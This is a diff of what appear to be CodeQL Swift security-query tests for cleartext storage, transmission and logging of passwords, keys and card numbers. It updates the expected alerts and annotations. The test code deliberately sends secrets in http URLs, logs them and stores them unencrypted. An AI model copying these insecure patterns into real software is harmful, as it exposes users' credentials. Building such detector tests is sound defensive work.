$@. | testRealm2.swift:18:11:18:11 | myPassword | myPassword | -| testRealm2.swift:24:2:24:2 | o | testRealm2.swift:24:11:24:11 | socialSecurityNumber | testRealm2.swift:24:2:24:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:24:11:24:11 | socialSecurityNumber | socialSecurityNumber | -| testRealm2.swift:25:2:25:2 | o | testRealm2.swift:25:11:25:11 | ssn | testRealm2.swift:25:2:25:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:25:11:25:11 | ssn | ssn | -| testRealm2.swift:26:2:26:2 | o | testRealm2.swift:26:18:26:18 | ssn_int | testRealm2.swift:26:2:26:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:26:18:26:18 | ssn_int | ssn_int | -| testRealm2.swift:32:2:32:2 | o | testRealm2.swift:32:11:32:11 | creditCardNumber | testRealm2.swift:32:2:32:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:32:11:32:11 | creditCardNumber | creditCardNumber | -| testRealm2.swift:33:2:33:2 | o | testRealm2.swift:33:11:33:11 | CCN | testRealm2.swift:33:2:33:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:33:11:33:11 | CCN | CCN | -| testRealm2.swift:34:2:34:2 | o | testRealm2.swift:34:18:34:18 | int_ccn | testRealm2.swift:34:2:34:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:34:18:34:18 | int_ccn | int_ccn | -| testRealm.swift:41:2:41:2 | a | testRealm.swift:41:11:41:11 | myPassword | testRealm.swift:41:2:41:2 | [post] a | This operation stores 'a' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:41:11:41:11 | myPassword | myPassword | -| testRealm.swift:49:2:49:2 | c | testRealm.swift:49:11:49:11 | myPassword | testRealm.swift:49:2:49:2 | [post] c | This operation stores 'c' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:49:11:49:11 | myPassword | myPassword | -| testRealm.swift:59:2:59:3 | ...! | testRealm.swift:59:12:59:12 | myPassword | testRealm.swift:59:2:59:3 | [post] ...! | This operation stores '...!' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:59:12:59:12 | myPassword | myPassword | -| testRealm.swift:66:2:66:2 | g | testRealm.swift:66:11:66:11 | myPassword | testRealm.swift:66:2:66:2 | [post] g | This operation stores 'g' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:66:11:66:11 | myPassword | myPassword | -| testRealm.swift:73:2:73:2 | h | testRealm.swift:73:15:73:15 | myPassword | testRealm.swift:73:2:73:2 | [post] h | This operation stores 'h' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:73:15:73:15 | myPassword | myPassword | diff --git a/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref b/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref index d73f4fc4bc2..0d588f51e61 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref +++ b/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref @@ -1 +1,2 @@ -queries/Security/CWE-311/CleartextStorageDatabase.ql \ No newline at end of file +query: queries/Security/CWE-311/CleartextStorageDatabase.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref b/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref index f4c5a561e61..3b301c53e7f 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref +++ b/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref @@ -1 +1,2 @@ -queries/Security/CWE-311/CleartextTransmission.ql \ No newline at end of file +query: queries/Security/CWE-311/CleartextTransmission.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift b/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift index 6874683d873..4b2f0923784 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift @@ -116,64 +116,64 @@ func ==(lhs: Expression, rhs: V) -> Expression { return Expression String { return myString } func test1(passwd : String, encrypted_passwd : String, account_no : String, credit_card_no : String) { - _ = URL(string: "http://example.com/login?p=" + passwd); // BAD + _ = URL(string: "http://example.com/login?p=" + passwd); // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?p=" + encrypted_passwd); // GOOD (not sensitive) - _ = URL(string: "http://example.com/login?ac=" + account_no); // BAD - _ = URL(string: "http://example.com/login?cc=" + credit_card_no); // BAD + _ = URL(string: "http://example.com/login?ac=" + account_no); // $ Alert[swift/cleartext-transmission] + _ = URL(string: "http://example.com/login?cc=" + credit_card_no); // $ Alert[swift/cleartext-transmission] let base = URL(string: "http://example.com/"); // GOOD (not sensitive) _ = URL(string: "abc", relativeTo: base); // GOOD (not sensitive) - let f = URL(string: passwd, relativeTo: base); // BAD + let f = URL(string: passwd, relativeTo: base); // $ Alert[swift/cleartext-transmission] _ = URL(string: "abc", relativeTo: f); // BAD (reported on line above) let e_mail = myString - _ = URL(string: "http://example.com/login?em=" + e_mail); // BAD + _ = URL(string: "http://example.com/login?em=" + e_mail); // $ Alert[swift/cleartext-transmission] let a_homeaddr_z = getMyString() - _ = URL(string: "http://example.com/login?home=" + a_homeaddr_z); // BAD + _ = URL(string: "http://example.com/login?home=" + a_homeaddr_z); // $ Alert[swift/cleartext-transmission] let resident_ID = getMyString() - _ = URL(string: "http://example.com/login?id=" + resident_ID); // BAD + _ = URL(string: "http://example.com/login?id=" + resident_ID); // $ Alert[swift/cleartext-transmission] } func get_private_key() -> String { return "" } @@ -70,9 +70,9 @@ func test2() { _ = URL(string: "http://example.com/login?key=" + get_aes_key()); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=" + get_aws_key()); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=" + get_access_key()); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?key=" + get_secret_key()); // BAD + _ = URL(string: "http://example.com/login?key=" + get_secret_key()); // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?key=" + get_key_press()); // GOOD (not sensitive) - _ = URL(string: "http://example.com/login?cert=" + get_cert_string()); // BAD + _ = URL(string: "http://example.com/login?cert=" + get_cert_string()); // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?certain=" + get_certain()); // GOOD (not sensitive) } @@ -93,7 +93,7 @@ func test3() { _ = URL(string: "http://example.com/login?key=\(priv_key)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=\(private_key)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=\(pub_key)"); // GOOD (not sensitive) - _ = URL(string: "http://example.com/login?cert=\(certificate)"); // BAD + _ = URL(string: "http://example.com/login?cert=\(certificate)"); // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?tok=\(secure_token)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?tok=\(access_token)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?tok=\(auth_token)"); // BAD [NOT DETECTED] @@ -101,9 +101,9 @@ func test3() { } func test4(key: SecKey) { - if let data = SecKeyCopyExternalRepresentation(key, nil) as? Data { + if let data = SecKeyCopyExternalRepresentation(key, nil) as? Data { // $ Source[swift/cleartext-transmission] if let string = String(data: data, encoding: .utf8) { - _ = URL(string: "http://example.com/login?tok=\(string)"); // BAD + _ = URL(string: "http://example.com/login?tok=\(string)"); // $ Alert[swift/cleartext-transmission] } } } @@ -113,14 +113,14 @@ func test5() { let email = get_string() let secret_key = get_string() - _ = URL(string: "http://example.com/login?email=\(email)"); // BAD + _ = URL(string: "http://example.com/login?email=\(email)"); // $ Alert[swift/cleartext-transmission] _ = URL(string: "mailto:\(email)"); // GOOD (revealing your e-amil address in an e-mail is expected) _ = URL(string: "mailto:info@example.com?subject=\(secret_key)"); // BAD [NOT DETECTED] _ = URL(string: "mailto:info@example.com?subject=foo&cc=\(email)"); // GOOD let phone_number = get_string() - _ = URL(string: "http://example.com/profile?tel=\(phone_number)"); // BAD + _ = URL(string: "http://example.com/profile?tel=\(phone_number)"); // $ Alert[swift/cleartext-transmission] _ = URL(string: "tel:\(phone_number)") // GOOD _ = URL(string: "telprompt:\(phone_number)") // GOOD _ = URL(string: "callto:\(phone_number)") // GOOD @@ -129,5 +129,5 @@ func test5() { let account_no = get_string() _ = URL(string: "file:///foo/bar/\(account_no).csv") // GOOD (local, so not transmitted) - _ = URL(string: "ftp://example.com/\(account_no).csv") // BAD + _ = URL(string: "ftp://example.com/\(account_no).csv") // $ Alert[swift/cleartext-transmission] } diff --git a/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.expected b/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.expected index c3ed50e498c..9c412f25cee 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.expected +++ b/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.expected @@ -1,3 +1,19 @@ +#select +| testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | This operation stores 'password' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | password | +| testNSUbiquitousKeyValueStore.swift:42:40:42:40 | x | testNSUbiquitousKeyValueStore.swift:41:24:41:24 | x | testNSUbiquitousKeyValueStore.swift:42:40:42:40 | x | This operation stores 'x' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:41:24:41:24 | x | x | +| testNSUbiquitousKeyValueStore.swift:45:40:45:40 | y | testNSUbiquitousKeyValueStore.swift:44:10:44:22 | call to getPassword() | testNSUbiquitousKeyValueStore.swift:45:40:45:40 | y | This operation stores 'y' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:44:10:44:22 | call to getPassword() | call to getPassword() | +| testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | This operation stores '.password' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | .password | +| testNSUbiquitousKeyValueStore.swift:59:40:59:40 | x | testNSUbiquitousKeyValueStore.swift:55:10:55:10 | passwd | testNSUbiquitousKeyValueStore.swift:59:40:59:40 | x | This operation stores 'x' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:55:10:55:10 | passwd | passwd | +| testNSUbiquitousKeyValueStore.swift:60:40:60:40 | y | testNSUbiquitousKeyValueStore.swift:56:10:56:10 | passwd | testNSUbiquitousKeyValueStore.swift:60:40:60:40 | y | This operation stores 'y' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:56:10:56:10 | passwd | passwd | +| testNSUbiquitousKeyValueStore.swift:61:40:61:40 | z | testNSUbiquitousKeyValueStore.swift:57:10:57:10 | passwd | testNSUbiquitousKeyValueStore.swift:61:40:61:40 | z | This operation stores 'z' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:57:10:57:10 | passwd | passwd | +| testUserDefaults.swift:28:15:28:15 | password | testUserDefaults.swift:28:15:28:15 | password | testUserDefaults.swift:28:15:28:15 | password | This operation stores 'password' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:28:15:28:15 | password | password | +| testUserDefaults.swift:42:28:42:28 | x | testUserDefaults.swift:41:24:41:24 | x | testUserDefaults.swift:42:28:42:28 | x | This operation stores 'x' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:41:24:41:24 | x | x | +| testUserDefaults.swift:45:28:45:28 | y | testUserDefaults.swift:44:10:44:22 | call to getPassword() | testUserDefaults.swift:45:28:45:28 | y | This operation stores 'y' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:44:10:44:22 | call to getPassword() | call to getPassword() | +| testUserDefaults.swift:49:28:49:30 | .password | testUserDefaults.swift:49:28:49:30 | .password | testUserDefaults.swift:49:28:49:30 | .password | This operation stores '.password' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:49:28:49:30 | .password | .password | +| testUserDefaults.swift:59:28:59:28 | x | testUserDefaults.swift:55:10:55:10 | passwd | testUserDefaults.swift:59:28:59:28 | x | This operation stores 'x' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:55:10:55:10 | passwd | passwd | +| testUserDefaults.swift:60:28:60:28 | y | testUserDefaults.swift:56:10:56:10 | passwd | testUserDefaults.swift:60:28:60:28 | y | This operation stores 'y' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:56:10:56:10 | passwd | passwd | +| testUserDefaults.swift:61:28:61:28 | z | testUserDefaults.swift:57:10:57:10 | passwd | testUserDefaults.swift:61:28:61:28 | z | This operation stores 'z' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:57:10:57:10 | passwd | passwd | +| testUserDefaults.swift:82:28:82:40 | .value | testUserDefaults.swift:82:28:82:31 | .password | testUserDefaults.swift:82:28:82:40 | .value | This operation stores '.value' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:82:28:82:31 | .password | .password | edges | file://:0:0:0:0 | self | file://:0:0:0:0 | .value | provenance | Config | | testNSUbiquitousKeyValueStore.swift:41:24:41:24 | x | testNSUbiquitousKeyValueStore.swift:42:40:42:40 | x | provenance | | @@ -45,19 +61,3 @@ nodes | testUserDefaults.swift:82:28:82:40 | .value | semmle.label | .value | subpaths | testUserDefaults.swift:82:28:82:31 | .password | testUserDefaults.swift:74:7:74:7 | self | file://:0:0:0:0 | .value | testUserDefaults.swift:82:28:82:40 | .value | -#select -| testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | This operation stores 'password' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:28:12:28:12 | password | password | -| testNSUbiquitousKeyValueStore.swift:42:40:42:40 | x | testNSUbiquitousKeyValueStore.swift:41:24:41:24 | x | testNSUbiquitousKeyValueStore.swift:42:40:42:40 | x | This operation stores 'x' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:41:24:41:24 | x | x | -| testNSUbiquitousKeyValueStore.swift:45:40:45:40 | y | testNSUbiquitousKeyValueStore.swift:44:10:44:22 | call to getPassword() | testNSUbiquitousKeyValueStore.swift:45:40:45:40 | y | This operation stores 'y' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:44:10:44:22 | call to getPassword() | call to getPassword() | -| testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | This operation stores '.password' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:49:40:49:42 | .password | .password | -| testNSUbiquitousKeyValueStore.swift:59:40:59:40 | x | testNSUbiquitousKeyValueStore.swift:55:10:55:10 | passwd | testNSUbiquitousKeyValueStore.swift:59:40:59:40 | x | This operation stores 'x' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:55:10:55:10 | passwd | passwd | -| testNSUbiquitousKeyValueStore.swift:60:40:60:40 | y | testNSUbiquitousKeyValueStore.swift:56:10:56:10 | passwd | testNSUbiquitousKeyValueStore.swift:60:40:60:40 | y | This operation stores 'y' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:56:10:56:10 | passwd | passwd | -| testNSUbiquitousKeyValueStore.swift:61:40:61:40 | z | testNSUbiquitousKeyValueStore.swift:57:10:57:10 | passwd | testNSUbiquitousKeyValueStore.swift:61:40:61:40 | z | This operation stores 'z' in iCloud. It may contain unencrypted sensitive data from $@. | testNSUbiquitousKeyValueStore.swift:57:10:57:10 | passwd | passwd | -| testUserDefaults.swift:28:15:28:15 | password | testUserDefaults.swift:28:15:28:15 | password | testUserDefaults.swift:28:15:28:15 | password | This operation stores 'password' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:28:15:28:15 | password | password | -| testUserDefaults.swift:42:28:42:28 | x | testUserDefaults.swift:41:24:41:24 | x | testUserDefaults.swift:42:28:42:28 | x | This operation stores 'x' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:41:24:41:24 | x | x | -| testUserDefaults.swift:45:28:45:28 | y | testUserDefaults.swift:44:10:44:22 | call to getPassword() | testUserDefaults.swift:45:28:45:28 | y | This operation stores 'y' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:44:10:44:22 | call to getPassword() | call to getPassword() | -| testUserDefaults.swift:49:28:49:30 | .password | testUserDefaults.swift:49:28:49:30 | .password | testUserDefaults.swift:49:28:49:30 | .password | This operation stores '.password' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:49:28:49:30 | .password | .password | -| testUserDefaults.swift:59:28:59:28 | x | testUserDefaults.swift:55:10:55:10 | passwd | testUserDefaults.swift:59:28:59:28 | x | This operation stores 'x' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:55:10:55:10 | passwd | passwd | -| testUserDefaults.swift:60:28:60:28 | y | testUserDefaults.swift:56:10:56:10 | passwd | testUserDefaults.swift:60:28:60:28 | y | This operation stores 'y' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:56:10:56:10 | passwd | passwd | -| testUserDefaults.swift:61:28:61:28 | z | testUserDefaults.swift:57:10:57:10 | passwd | testUserDefaults.swift:61:28:61:28 | z | This operation stores 'z' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:57:10:57:10 | passwd | passwd | -| testUserDefaults.swift:82:28:82:40 | .value | testUserDefaults.swift:82:28:82:31 | .password | testUserDefaults.swift:82:28:82:40 | .value | This operation stores '.value' in the user defaults database. It may contain unencrypted sensitive data from $@. | testUserDefaults.swift:82:28:82:31 | .password | .password | diff --git a/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref b/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref index 574e0e17232..dfb639f1bea 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref +++ b/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref @@ -1 +1,2 @@ -queries/Security/CWE-312/CleartextStoragePreferences.ql +query: queries/Security/CWE-312/CleartextStoragePreferences.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-312/cleartextLoggingTest.swift b/swift/ql/test/query-tests/Security/CWE-312/cleartextLoggingTest.swift index 060d6c5041e..da4d5054304 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/cleartextLoggingTest.swift +++ b/swift/ql/test/query-tests/Security/CWE-312/cleartextLoggingTest.swift @@ -164,24 +164,24 @@ class MyRemoteLogger { // --- tests --- func test1(password: String, passwordHash : String, passphrase: String, pass_phrase: String) { - print(password) // $ Alert - print(password, separator: "") // $ Alert - print("", separator: password) // $ Alert - print(password, separator: "", terminator: "") // $ Alert - print("", separator: password, terminator: "") // $ Alert - print("", separator: "", terminator: password) // $ Alert + print(password) // $ Alert[swift/cleartext-logging] + print(password, separator: "") // $ Alert[swift/cleartext-logging] + print("", separator: password) // $ Alert[swift/cleartext-logging] + print(password, separator: "", terminator: "") // $ Alert[swift/cleartext-logging] + print("", separator: password, terminator: "") // $ Alert[swift/cleartext-logging] + print("", separator: "", terminator: password) // $ Alert[swift/cleartext-logging] print(passwordHash) // safe - debugPrint(password) // $ Alert + debugPrint(password) // $ Alert[swift/cleartext-logging] - dump(password) // $ Alert + dump(password) // $ Alert[swift/cleartext-logging] - NSLog(password) // $ Alert - NSLog("%@", password) // $ Alert - NSLog("%@ %@", "", password) // $ Alert - NSLog("\(password)") // $ Alert - NSLogv("%@", getVaList([password])) // $ Alert - NSLogv("%@ %@", getVaList(["", password])) // $ Alert + NSLog(password) // $ Alert[swift/cleartext-logging] + NSLog("%@", password) // $ Alert[swift/cleartext-logging] + NSLog("%@ %@", "", password) // $ Alert[swift/cleartext-logging] + NSLog("\(password)") // $ Alert[swift/cleartext-logging] + NSLogv("%@", getVaList([password])) // $ Alert[swift/cleartext-logging] + NSLogv("%@ %@", getVaList(["", password])) // $ Alert[swift/cleartext-logging] NSLog(passwordHash) // safe NSLogv("%@", getVaList([passwordHash])) // safe @@ -217,12 +217,12 @@ func test1(password: String, passwordHash : String, passphrase: String, pass_phr log.fault("\(password, privacy: .public)") // $ MISSING: Alert log.fault("\(passwordHash, privacy: .public)") // safe - NSLog(passphrase) // $ Alert - NSLog(pass_phrase) // $ Alert + NSLog(passphrase) // $ Alert[swift/cleartext-logging] + NSLog(pass_phrase) // $ Alert[swift/cleartext-logging] os_log("%@", log: .default, type: .default, "") // safe - os_log("%@", log: .default, type: .default, password) // $ Alert - os_log("%@ %@ %@", log: .default, type: .default, "", "", password) // $ Alert + os_log("%@", log: .default, type: .default, password) // $ Alert[swift/cleartext-logging] + os_log("%@ %@ %@", log: .default, type: .default, "", "", password) // $ Alert[swift/cleartext-logging] } class MyClass { @@ -237,15 +237,15 @@ func test3(x: String) { // alternative evidence of sensitivity... NSLog(x) // $ MISSING: Alert - doSomething(password: x); // $ Source - NSLog(x) // $ Alert + doSomething(password: x); // $ Source[swift/cleartext-logging] + NSLog(x) // $ Alert[swift/cleartext-logging] - let y = getPassword(); // $ Source - NSLog(y) // $ Alert + let y = getPassword(); // $ Source[swift/cleartext-logging] + NSLog(y) // $ Alert[swift/cleartext-logging] let z = MyClass() NSLog(z.harmless) // safe - NSLog(z.password) // $ Alert + NSLog(z.password) // $ Alert[swift/cleartext-logging] } struct MyOuter { @@ -260,7 +260,7 @@ struct MyOuter { func test3(mo : MyOuter) { // struct members... - NSLog(mo.password.value) // $ Alert + NSLog(mo.password.value) // $ Alert[swift/cleartext-logging] NSLog(mo.harmless.value) // safe } @@ -283,40 +283,40 @@ func test4(harmless: String, password: String) { print(harmless, to: &myString1) print(myString1) // safe - print(password, to: &myString2) // $ Source - print(myString2) // $ Alert + print(password, to: &myString2) // $ Source[swift/cleartext-logging] + print(myString2) // $ Alert[swift/cleartext-logging] - print("log: " + password, to: &myString3) // $ Source - print(myString3) // $ Alert + print("log: " + password, to: &myString3) // $ Source[swift/cleartext-logging] + print(myString3) // $ Alert[swift/cleartext-logging] debugPrint(harmless, to: &myString4) debugPrint(myString4) // safe - debugPrint(password, to: &myString5) // $ Source - debugPrint(myString5) // $ Alert + debugPrint(password, to: &myString5) // $ Source[swift/cleartext-logging] + debugPrint(myString5) // $ Alert[swift/cleartext-logging] dump(harmless, to: &myString6) dump(myString6) // safe - dump(password, to: &myString7) // $ Source - dump(myString7) // $ Alert + dump(password, to: &myString7) // $ Source[swift/cleartext-logging] + dump(myString7) // $ Alert[swift/cleartext-logging] myString8.write(harmless) print(myString8) - myString9.write(password) // $ Source - print(myString9) // $ Alert + myString9.write(password) // $ Source[swift/cleartext-logging] + print(myString9) // $ Alert[swift/cleartext-logging] myString10.write(harmless) - myString10.write(password) // $ Source + myString10.write(password) // $ Source[swift/cleartext-logging] myString10.write(harmless) - print(myString10) // $ Alert + print(myString10) // $ Alert[swift/cleartext-logging] harmless.write(to: &myString11) print(myString11) - password.write(to: &myString12) // $ Source - print(myString12) // $ Alert + password.write(to: &myString12) // $ Source[swift/cleartext-logging] + print(myString12) // $ Alert[swift/cleartext-logging] print(password, to: &myString13) // $ safe - only printed to another string debugPrint(password, to: &myString13) // $ safe - only printed to another string @@ -331,59 +331,59 @@ func test5(password: String, caseNum: Int) { switch caseNum { case 0: - assert(false, password) // $ Alert + assert(false, password) // $ Alert[swift/cleartext-logging] case 1: - assertionFailure(password) // $ Alert + assertionFailure(password) // $ Alert[swift/cleartext-logging] case 2: - precondition(false, password) // $ Alert + precondition(false, password) // $ Alert[swift/cleartext-logging] case 3: - preconditionFailure(password) // $ Alert + preconditionFailure(password) // $ Alert[swift/cleartext-logging] default: - fatalError(password) // $ Alert + fatalError(password) // $ Alert[swift/cleartext-logging] } } func test6(passwordString: String) { - let e = NSException(name: NSExceptionName("exception"), reason: "\(passwordString) is incorrect!", userInfo: nil) // $ Alert + let e = NSException(name: NSExceptionName("exception"), reason: "\(passwordString) is incorrect!", userInfo: nil) // $ Alert[swift/cleartext-logging] e.raise() - NSException.raise(NSExceptionName("exception"), format: "\(passwordString) is incorrect!", arguments: getVaList([])) // $ Alert - NSException.raise(NSExceptionName("exception"), format: "%s is incorrect!", arguments: getVaList([passwordString])) // $ Alert + NSException.raise(NSExceptionName("exception"), format: "\(passwordString) is incorrect!", arguments: getVaList([])) // $ Alert[swift/cleartext-logging] + NSException.raise(NSExceptionName("exception"), format: "%s is incorrect!", arguments: getVaList([passwordString])) // $ Alert[swift/cleartext-logging] - _ = dprintf(0, "\(passwordString) is incorrect!") // $ Alert - _ = dprintf(0, "%s is incorrect!", passwordString) // $ Alert - _ = dprintf(0, "%s: %s is incorrect!", "foo", passwordString) // $ Alert - _ = vprintf("\(passwordString) is incorrect!", getVaList([])) // $ Alert - _ = vprintf("%s is incorrect!", getVaList([passwordString])) // $ Alert - _ = vfprintf(nil, "\(passwordString) is incorrect!", getVaList([])) // $ Alert - _ = vfprintf(nil, "%s is incorrect!", getVaList([passwordString])) // $ Alert + _ = dprintf(0, "\(passwordString) is incorrect!") // $ Alert[swift/cleartext-logging] + _ = dprintf(0, "%s is incorrect!", passwordString) // $ Alert[swift/cleartext-logging] + _ = dprintf(0, "%s: %s is incorrect!", "foo", passwordString) // $ Alert[swift/cleartext-logging] + _ = vprintf("\(passwordString) is incorrect!", getVaList([])) // $ Alert[swift/cleartext-logging] + _ = vprintf("%s is incorrect!", getVaList([passwordString])) // $ Alert[swift/cleartext-logging] + _ = vfprintf(nil, "\(passwordString) is incorrect!", getVaList([])) // $ Alert[swift/cleartext-logging] + _ = vfprintf(nil, "%s is incorrect!", getVaList([passwordString])) // $ Alert[swift/cleartext-logging] _ = vasprintf_l(nil, nil, "\(passwordString) is incorrect!", getVaList([])) // good (`sprintf` is not logging) _ = vasprintf_l(nil, nil, "%s is incorrect!", getVaList([passwordString])) // good (`sprintf` is not logging) } func test7(authKey: String, authKey2: Int, authKey3: Float, password: String, secret: String) { - log(message: authKey) // $ Alert - log(message: String(authKey2)) // $ Alert + log(message: authKey) // $ Alert[swift/cleartext-logging] + log(message: String(authKey2)) // $ Alert[swift/cleartext-logging] logging(message: authKey) // $ MISSING: Alert logfile(file: 0, message: authKey) // $ MISSING: Alert - logMessage(NSString(string: authKey)) // $ Alert - logInfo(authKey) // $ Alert - logError(errorMsg: authKey) // $ Alert + logMessage(NSString(string: authKey)) // $ Alert[swift/cleartext-logging] + logInfo(authKey) // $ Alert[swift/cleartext-logging] + logError(errorMsg: authKey) // $ Alert[swift/cleartext-logging] harmless(authKey) // GOOD: not logging _ = logarithm(authKey3) // GOOD: not logging doLogin(login: authKey) // GOOD: not logging let logger = LogFile() - let msg = "authKey: " + authKey // $ Source - logger.log(msg) // $ Alert - logger.trace(msg) // $ Alert - logger.debug(msg) // $ Alert - logger.info(NSString(string: msg)) // $ Alert - logger.notice(msg) // $ Alert - logger.warning(msg) // $ Alert - logger.error(msg) // $ Alert - logger.critical(msg) // $ Alert - logger.fatal(msg) // $ Alert + let msg = "authKey: " + authKey // $ Source[swift/cleartext-logging] + logger.log(msg) // $ Alert[swift/cleartext-logging] + logger.trace(msg) // $ Alert[swift/cleartext-logging] + logger.debug(msg) // $ Alert[swift/cleartext-logging] + logger.info(NSString(string: msg)) // $ Alert[swift/cleartext-logging] + logger.notice(msg) // $ Alert[swift/cleartext-logging] + logger.warning(msg) // $ Alert[swift/cleartext-logging] + logger.error(msg) // $ Alert[swift/cleartext-logging] + logger.critical(msg) // $ Alert[swift/cleartext-logging] + logger.fatal(msg) // $ Alert[swift/cleartext-logging] let logic = Logic() logic.addInt(authKey2) // GOOD: not logging diff --git a/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift b/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift index 20627a6483b..8715eaa3472 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift +++ b/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift @@ -25,7 +25,7 @@ func doSomething(password: String) { } func test1(password: String, passwordHash : String) { let store = NSUbiquitousKeyValueStore.default - store.set(password, forKey: "myKey") // BAD + store.set(password, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] store.set(passwordHash, forKey: "myKey") // GOOD (not sensitive) } @@ -38,27 +38,27 @@ func test3(x: String) { // alternative evidence of sensitivity... NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD [NOT REPORTED] - doSomething(password: x); - 